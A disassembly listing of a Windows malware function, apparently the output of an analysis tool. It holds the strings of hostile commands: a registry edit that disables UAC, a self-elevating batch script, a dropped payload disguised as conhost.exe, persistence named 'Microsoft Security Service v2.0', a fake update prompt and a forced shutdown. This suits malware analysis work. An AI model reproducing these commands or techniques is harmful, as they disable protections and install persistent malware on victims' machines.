Function at 0x1400c5953
Capabilities:
Get session user name

Disassembly:
jmp 0x1400db5b0
push rbp
push rdi
sub rsp, 0x9a8
lea rbp, [rsp + 0x20]
lea rdi, [rsp + 0x20]
mov ecx, 0x1a2
mov eax, 0xcccccccc
rep stosd dword [rdi], eax
mov rax, qword [0x140413080]
xor rax, rbp
mov qword [rbp + 0x978], rax
lea rcx, [0x14042f0f3]
call fcn.1400c7618
call qword [sym.imp.KERNEL32.dll_GetConsoleWindow]
xor edx, edx
mov rcx, rax
call qword [sym.imp.USER32.dll_ShowWindow]
lea rcx, str.cmd__c__reg_add_HKEY_LOCAL_MACHINESOFTWAREMicrosoftWindowsCurrentVersionPoliciesSystem__v_EnableLUA__t_REG_DWORD__d_0__f_
call fcn.1400c4800
mov dword [rbp + 4], eax
cmp dword [rbp + 4], 0xffffffff
jne 0x1400db61d
mov eax, 1
jmp 0x1400db9eb
mov dword [rbp + 0x254], 0x101
lea rdx, [rbp + 0x254]
lea rcx, [rbp + 0x30]
call qword [sym.imp.ADVAPI32.dll_GetUserNameW]
lea rdx, [rbp + 0x30]
lea rcx, [rbp + 0x278]
call fcn.1400c3cf7
nop
lea rax, [rbp + 0x778]
mov qword [rbp + 0x7a8], rax
lea rax, [rbp + 0x7c8]
mov qword [rbp + 0x7f8], rax
lea rcx, [rbp + 0x754]
call fcn.1400c33a1
mov qword [rbp + 0x948], rax
mov rdx, qword [rbp + 0x7a8]
lea rcx, [rbp + 0x278]
call fcn.1400c6240
mov qword [rbp + 0x950], rax
mov rdx, qword [rbp + 0x7f8]
lea rcx, [rbp + 0x278]
call fcn.1400c494a
mov qword [rbp + 0x958], rax
mov rax, qword [rbp + 0x948]
mov r9, rax
mov r8, qword [rbp + 0x950]
mov rdx, qword [rbp + 0x958]
lea rcx, [rbp + 0x2b8]
call fcn.1400c4b70
nop
lea rdx, [rbp + 0x2b8]
lea rcx, [0x140415ad0]
call fcn.1400c6beb
lea r8, [rbp + 0x2b8]
lea rdx, str.C:Users_
lea rcx, [rbp + 0x818]
call fcn.1400c2384
mov qword [rbp + 0x948], rax
mov rax, qword [rbp + 0x948]
mov qword [rbp + 0x950], rax
lea r8, str.conhost.exe
mov rdx, qword [rbp + 0x950]
lea rcx, [rbp + 0x2f8]
call fcn.1400c6e7a
nop
lea rcx, [rbp + 0x818]
call fcn.1400c2feb
lea rcx, [rbp + 0x2f8]
call fcn.1400c27ee
lea rdx, [0x1403c71ac]
mov rcx, rax
call fcn.1400c2ae1
mov qword [rbp + 0x338], rax
mov dword [rbp + 0x354], 0
jmp 0x1400db776
mov eax, dword [rbp + 0x354]
inc eax
mov dword [rbp + 0x354], eax
movsxd rax, dword [rbp + 0x354]
cmp rax, 0x12b400
je 0x1400db7af
movsxd rax, dword [rbp + 0x354]
lea rcx, [0x14025e540]
movzx eax, byte [rcx + rax]
mov r8d, eax
lea rdx, [0x1403c71b0]
mov rcx, qword [rbp + 0x338]
call fcn.1400c6afb
jmp 0x1400db768
mov rcx, qword [rbp + 0x338]
call fcn.1400c4193
lea r8, [rbp + 0x2b8]
lea rdx, str.C:Users_
lea rcx, [rbp + 0x858]
call fcn.1400c2384
mov qword [rbp + 0x948], rax
mov rax, qword [rbp + 0x948]
mov qword [rbp + 0x950], rax
lea r8, str.msvcrt_exec.bat
mov rdx, qword [rbp + 0x950]
lea rcx, [rbp + 0x378]
call fcn.1400c6e7a
nop
lea rcx, [rbp + 0x858]
call fcn.1400c2feb
lea rcx, [rbp + 0x378]
call fcn.1400c27ee
lea rdx, [0x1403c71ac]
mov rcx, rax
call fcn.1400c2ae1
mov qword [rbp + 0x3b8], rax
mov dword [rbp + 0x3d4], 0
jmp 0x1400db84d
mov eax, dword [rbp + 0x3d4]
inc eax
mov dword [rbp + 0x3d4], eax
cmp dword [rbp + 0x3d4], 0x2af
je 0x1400db883
movsxd rax, dword [rbp + 0x3d4]
lea rcx, str._echo_off_r_n_____:_____self_elevating_no_temp.bat________________________r_nfsutil_dirty_query__systemdrive___nul__goto_:gotAdmin__set__ELEVATE_CMDLINEcd__d___cd____call___f0______cscript___nologo___f0_.wsf____job:Elevate__exit__b_r_n____r_n_job_id_Elevate___script_language_VBScript___r_nSet_objShell__CreateObject__Shell.Application___r_n__Set_objWshShell__WScript.CreateObject__WScript.Shell___r_n__Set_objWshProcessEnv__objWshShell.Environment__PROCESS___r_n__strCommandLine__Trim_objWshProcessEnv__ELEVATE_CMDLINE____r_n__objShell.ShellExecute__cmd_____c____strCommandLine_______runas__r_n__script___job__r_n:gotAdmin___________________________________________________r_ncmd__c_C:Users_USERNAME_conhost.exe
movzx eax, byte [rcx + rax]
mov r8d, eax
lea rdx, [0x1403c71b0]
mov rcx, qword [rbp + 0x338]
call fcn.1400c6afb
jmp 0x1400db83f
mov eax, 0x28
imul rax, rax, 0
lea rcx, [0x1404158f0]
add rcx, rax
mov rax, rcx
mov r8, rax
lea rdx, str.cmd__c__reg_add
lea rcx, [rbp + 0x898]
call fcn.1400c2384
mov qword [rbp + 0x948], rax
mov rax, qword [rbp + 0x948]
mov qword [rbp + 0x950], rax
lea r8, str.__v__Microsoft_Security_Service_v2.0___t_REG_EXPAND_SZ__d
mov rdx, qword [rbp + 0x950]
lea rcx, [rbp + 0x8d8]
call fcn.1400c6e7a
mov qword [rbp + 0x958], rax
mov rax, qword [rbp + 0x958]
mov qword [rbp + 0x960], rax
lea r8, [rbp + 0x2f8]
mov rdx, qword [rbp + 0x960]
lea rcx, [rbp + 0x918]
call fcn.1400c3de2
mov qword [rbp + 0x968], rax
mov rax, qword [rbp + 0x968]
mov qword [rbp + 0x970], rax
lea r8, [0x1403c71cc]
mov rdx, qword [rbp + 0x970]
lea rcx, [rbp + 0x3f8]
call fcn.1400c6e7a
nop
lea rcx, [rbp + 0x918]
call fcn.1400c2feb
nop
lea rcx, [rbp + 0x8d8]
call fcn.1400c2feb
nop
lea rcx, [rbp + 0x898]
call fcn.1400c2feb
lea rcx, [rbp + 0x3f8]
call fcn.1400c27ee
mov rcx, rax
call fcn.1400c4800
mov r9d, 0x40
lea r8, str.Microsoft_Security_Service_v2
lea rdx, str.We_need_to_reboot_your_computer_to_finish_installing_updates.
xor ecx, ecx
call qword [sym.imp.USER32.dll_MessageBoxW]
mov dword [rbp + 0x434], eax
lea rcx, str.shutdown__r__t_00
call fcn.1400c4800
lea rcx, [rbp + 0x3f8]
call fcn.1400c2feb
nop
lea rcx, [rbp + 0x378]
call fcn.1400c2feb
nop
lea rcx, [rbp + 0x2f8]
call fcn.1400c2feb
nop
lea rcx, [rbp + 0x2b8]
call fcn.1400c2feb
nop
lea rcx, [rbp + 0x278]
call fcn.1400c6952
jmp 0x1400db9e9
xor eax, eax
mov rdi, rax
lea rcx, [rbp - 0x20]
lea rdx, [0x1403c63c0]
call fcn.1400c6713
mov rax, rdi
mov rcx, qword [rbp + 0x978]
xor rcx, rbp
call fcn.1400c4977
lea rsp, [rbp + 0x988]
pop rdi
pop rbp
ret